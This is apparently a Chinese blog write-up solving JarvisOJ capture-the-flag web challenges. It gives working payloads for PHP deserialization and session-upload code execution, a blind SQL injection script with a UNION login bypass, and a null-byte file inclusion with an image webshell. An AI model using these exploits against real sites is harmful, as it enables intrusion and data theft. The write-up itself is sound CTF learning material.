JarvisOJ平台Web题目简单部分writeup

平台:https://www.jarvisoj.com/

PORT51

题目链接: http://web.jarvisoj.com:32770/
访问页面之后,页面显示:

Please use port 51 to visit this site.

当时看到了这个还以为是需要访问这个网站的51端口,但是这个网址已经确定了是访问32770端口,后来一直都没有思路。最后才发现是要求本地以51端口去访问这个网址。payload如下:

1
curl --local-port 51 http://web.jarvisoj.com:32770/

最后就可以拿到Flag。

api调用

题目链接:http://web.jarvisoj.com:9882/
题目提示:

请设法获得目标机器/home/ctf/flag.txt中的flag值。

访问连接之后,查看网页源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

发现这个页面仅仅是向后台发送请求,与前台的输入并没有什么关系。
后台返回的数据显示是:

1
2
3
4
5
HTTP/1.0 201 CREATED
Content-Type: application/json
Content-Length: 86
Server: Werkzeug/0.9.4 Python/2.7.6
Date: Wed, 12 Oct 2016 05:34:05 GMT

仅仅知道后台是使用Python写的。除此之外,并没有多余的信息。
最后才知道这是一个所谓的XXE漏洞,xxe的漏洞的相关概念可以参考php框架slim架构上存在XXE漏洞这篇文章,原理写得十分详细。
知道是XXE漏洞之后,最后的payload如下:

这个漏洞也是第一次听说,有空学习了之后再写一篇详细的文章进行说明吧
如何使用Python实现一个XXE的漏洞xml实体注入xxe
关于XXE的危害可以参考文章未知攻焉知防——XXE漏洞攻防

Login

题目链接:http://web.jarvisoj.com:32772/
题目提示:

需要密码才能获得flag哦。

登陆页面查看,发现页面仅仅只有一个需要输入密码的输入框,没有其他的提示,随便输入密码之后显示Wrong Password.,看到这种情况以为是一个SQL注入,但是通过输入非法的字符,发现好像并没有进行过滤,一直显示Wrong Password.最后通过查看Response包发现一条提示:

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

知道md5($pass,true)是重点,找到了这篇文章。输入字符串ffifdyop就可以得到最终的密码。

神盾局的秘密

题目链接:http://web.jarvisoj.com:32768/
题目提示:

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

访问链接之后,得到就是一张图片,通过burp抓包,发现在中途访问了网址http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==,看链接是一个文件读取,文件名是使用base64加密了。
读取showimg.php的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

普通的内容,没有与Flag相关的信息。
尝试读取index.php的信息:

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

index.php也没有出现与Flag相关的信息,但是index.php读取的class参数的值,并且没有对参数进行过滤。
读取shield.php信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

说明了Flag在pctf.php中,结合index.php的源代码。得到最后的Flag信息。但是我们需要一个Shield类的实例$X,实例$x中的file属性为pctf.php。但是目前的代码无法做到这一点。但是想了很久都没有想到,最后请教了40huo。最后知道需要本地搭建环境,对示例进行序列话。
index.php

1
2
3
4
5
<?php
require_once('shield.php');
$x = new Shield();
echo serialize($x);
?>

shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

最关键的代码就是,在进行初始化的时候,将$filename赋值为pctf.php

1
2
3
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}

最后得到的序列话的值是:

1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

最后访问URL:http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
页面返回:

1
2
3
4
5
<?php 
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>

PHPINFO

题目地址:http://web.jarvisoj.com:32784/
访问网址,页面显示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{

public $mdzz;
function __construct()
{

$this->mdzz = 'phpinfo();';
}

function __destruct()
{

eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

看到PHP代码中的ini_set('session.serialize_handler', 'php')就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

1
2
3
4
5
<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。
在本地创建myindex.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='需要设置方法';
function __construct()
{
// $this->mdzz = 'phpinfo();';
}

function __destruct()
{
// echo $this->mdzz;
}
}
$obj = new OowoO();
echo serialize($obj);

首先设置$mdzz='echo "spoock";',最后序列话得到的结果是:O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";}。那么文件名就需要设置为|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";},由于要对其中的双引号进行转义,最后实际的文件名为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";}。最后的测试结果为:

可以看到最后的结果输出了spoock,说明上述的测试是成功的。
接下来就需要获取flag了。
获取项目路径:
通过dirname获取文件路径
设置$mdzz='print_r(dirname(__FILE__));'
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下:

得到项目路径是在opt/lampp/htdocs

获取文件列表
通过scandir获取文件列表
设置$mdzz='print_r(scandir("/opt/lampp/htdocs"));'
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是:

发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php

读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz='O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}'
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
显示结果为:

最后就得到flag了。

simple injection

很简单的注入,大家试试?
题目入口:http://web.jarvisoj.com:32787/

还是比较喜欢做sqli的题目的。
访问页面之后,得到就是一个登陆页面。通过burp进行抓包,发现在响应头或者是页面中含有提示信息,那么就说明这的确是一个普通的登陆型的SQL注入漏洞了。

常见的登陆漏洞类型

同时验证用户名和密码

1
2
3
4
5
6
7
$sql = select * from users where username=$usernmae and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}

分步验证用户名、密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
#对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}

} else {
echo "用户不存在";
}

本题

尝试使用username=admin&password=123456,页面返回密码错误
尝试使用username=user&password=123456,页面返回用户名错误
那么就说明验证方式是采用的用户名和密码分步验证的。

想法验证

  • 使用username=admin'#&password=123456,页面返回密码错误,说明后台没有对#'进行过滤。
  • 使用username=admin' or 1=1#&password=123456,页面返回用户名错误,上面后台对admin' or 1=1#中的部分内容进行了过滤。过滤的内容有可能是or也有可能是空格。
  • 使用username=user'/**/or/**/1=1#&password=123456,页面返回密码错误,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
  • 总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了

PoC

整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章

  • 查找表username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456,页面返回密码错误,那么就说明在数据库中存在admin
  • 查找字段username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456,页面返回密码错误,说明在admin表中存在usernamepassword字段。
  • username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456,页面返回密码错误,说明在admin表中仅仅只存在一条记录,接下来就好办了
  • 得到password长度username=user'/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456,通过二分试探法,最终发现password的字段长度是32位,说明可能采用的是md5的方式来进行加密的。

在确定了password的长度之后,接下来就是利用Python来进行爆破了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii)
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
#返回的长度只有1191和1192
if length>1191:
print(char)
result += char
break
print(result)

get_data()

最后得到password的值为334cfb59c9d74849801d5acdcfdaadc3
得到password的明文之后,输入就可以得到flag了。

PoC2

在确定了password的长度为32位,即为md5()的加密方式之后,就可以采用如下的PoC

1
username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1

这样就可以直接得到payload了。

“没有什么防护是一个漏洞解决不了的,如果有,那就…..”
题目入口:http://web.jarvisoj.com:32785/

看到题目,发现这是一道上传的题目,那么就需要利用到上传绕过了。

文件上传

上传的时候,发现后台不是通过文件后缀来进行判断的,还对文件的MIME进行了判断,那么就必须上传图片一句话木马了。

文件浏览

发现图片木马是可以上传的,最后就是浏览图片木马进行执行了,上传图片之后,图片浏览的整个流程如下:

图片上传之后,会获得上传之后的图片ID,然后在view输入图片ID和图片类型,就可以浏览图片,最后发现图片的访问的链接实际是http://web.jarvisoj.com:32785/uploads/图片ID.jpg

连接木马

看到这里,我还以为就是一道不同的文件木马,直接使用中国菜刀连接即可,后来发现中国菜刀无法连接,说明后台对菜刀进行了绕过,尝试不使用菜刀来执行木马,发现还是没有用,说明uploads/图片ID.jpg是无法执行的。

文件包含

无法使用菜刀,则必须使用其他方法了。
在访问submitView页面时,发现页面访问的链接是:

1
2
http://web.jarvisoj.com:32785/index.php?page=submit
http://web.jarvisoj.com:32785/index.php?page=view

此处有可能存在文件包含漏洞,尝试:

1
http://web.jarvisoj.com:32785/index.php?page=view'

页面报错

1
2
Warning: fopen(view'.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

说明确实存在文件访问漏洞

读取图片

在进行文件读取的时候,后台会在page参数后面加上文件后缀.php,所以需要使用%00来进行截断。
在使用文件包含漏洞尝试读取文件的时候,

1
http://web.jarvisoj.com:32785/index.php?page=uploads/图片ID.jpg%00

页面显示You should not do this!
说明后台对后台中的<?php phpcode; ?>进行了过滤,那么就需要采用的新的绕过方式了,这个题目就和百度CTF中的upload题目有点类似了,考虑使用<script language="php">phpcode;</script>的方式来执行php代码

PoC

最后php的代码写为:

1
<script language="php">phpinfo();</script>

将上述的php的代码制作成为图片一句话木马,然后利用文件包含漏洞来读取图片,

1
http://web.jarvisoj.com:32785/index.php?page=uploads/图片ID.jpg%00

最后就可以得到flag了。

总结

剩下的Web题目,等下次再写吧。